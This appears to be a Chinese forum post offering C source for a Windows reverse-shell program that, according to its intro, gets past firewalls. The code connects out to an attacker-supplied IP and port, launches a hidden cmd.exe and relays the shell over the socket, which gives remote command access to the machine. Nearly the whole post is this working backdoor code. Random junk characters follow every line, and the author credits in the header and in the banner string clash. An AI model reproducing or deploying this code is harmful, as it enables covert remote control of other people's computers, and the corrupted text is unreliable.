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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _6"YWR  
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/* ============================== E&RiEhuv  
Rebound port in Windows NT 0Xke26ga  
By wind,2006/7 T VuDK  
===============================*/ "%,KZI  
#include K<3$>/|  
#include +RuPfw{z  
y5v}EX`m&  
#pragma comment(lib,"wsock32.lib") a9w1Z4  
w<4,;FFlZ/  
void OutputShell(); Gx$rk<;ZW  
SOCKET sClient; oD0N<Ln}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #U=}Pv~wM  
=$^<@-;  
void main(int argc,char **argv) LHS^[}x^1  
{ 6{qI  
WSADATA stWsaData; xpzQ"'be  
int nRet; Hy_}e"  
SOCKADDR_IN stSaiClient,stSaiServer; 2".^Ma^D!  
clcj5=:  
if(argc != 3) uqN:I)>[P  
{ s-z*Lq*  
printf("Useage:\n\rRebound DestIP DestPort\n"); QIcg4\d%s  
return; 9T#JlV  
} EE^ N01<"\  
1l~(J:DT  
WSAStartup(MAKEWORD(2,2),&stWsaData); Y XBU9T{r  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ep@NT+VnI  
//ZYN2lT4  
stSaiClient.sin_family = AF_INET; z;74(5?q  
stSaiClient.sin_port = htons(0); I|{A&G}|q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =,UuQJ,l  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Rzolue 8  
{ ,%L>TD'48s  
printf("Bind Socket Failed!\n"); <gdKuoY  
return; p-6(>,+E[  
} EJbFo682  
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stSaiServer.sin_family = AF_INET; IO(Y_7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RyxEZ7dC<y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~MgU"P>  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H/eyc`  
{ bay7%[BLB  
printf("Connect Error!"); f\Fk+)e@  
return; :=<0Z1S  
} e2onR~Cf  
OutputShell(); j.5;0b_L^  
} 9Xr@ll  
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void OutputShell() nhUL{ER  
{ $c WO`\XM  
char szBuff[1024]; ~(|~Ze>  
SECURITY_ATTRIBUTES stSecurityAttributes; 2K 8?S  
OSVERSIONINFO stOsversionInfo; o*L#S1yL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c04"d"$ x  
STARTUPINFO stStartupInfo; .hD 2g"  
char *szShell; +>F #{b  
PROCESS_INFORMATION stProcessInformation; ,sM>{NK 9R  
unsigned long lBytesRead; ,w+}Evp])  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WLb *\  
#*g.hL<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  `#m>3  
stSecurityAttributes.lpSecurityDescriptor = 0; zeXMi:X  
stSecurityAttributes.bInheritHandle = TRUE; ~4{E0om@  
g;>M{)A  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f +#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K}]0<\N  
|?t6h 5Mt"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =h083|y>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'pUJlPGx  
stStartupInfo.wShowWindow = SW_HIDE; 6iozb~!Rr  
stStartupInfo.hStdInput = hReadPipe; B Bub'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Qe~2'Hw#9  
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GetVersionEx(&stOsversionInfo); {GaQV-t  
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switch(stOsversionInfo.dwPlatformId) 4zF|}aiQ  
{ Wgh4DhAW  
case 1: l Z3o3"  
szShell = "command.com"; :\0q\2e[<  
break; Se o3a6o  
default: i>Cxi ZT  
szShell = "cmd.exe"; ")q{>tV  
break; ~/@5&ajz  
} "! yKX(aTX  
 9"@P.8_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jJpSn[{  
r "^ {?0  
send(sClient,szMsg,77,0); I92c!`{  
while(1) =,aWO7Pz  
{ 5X7kZ!r  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O1o.^i$-M  
if(lBytesRead) :Rs% (Z  
{ h=q%h8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2C@hjw(  
send(sClient,szBuff,lBytesRead,0); OFJ T  
} &M)S~Hb^  
else "CEy r0h  
{ }T?MWcG4  
lBytesRead=recv(sClient,szBuff,1024,0); XsldbN^ 6  
if(lBytesRead<=0) break; ~IHjj1s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^J8sR4p#  
} ^6?NYHMr=  
} (1bz.N8z  
`.# l_-U{  
return; @G vDl=.  
}
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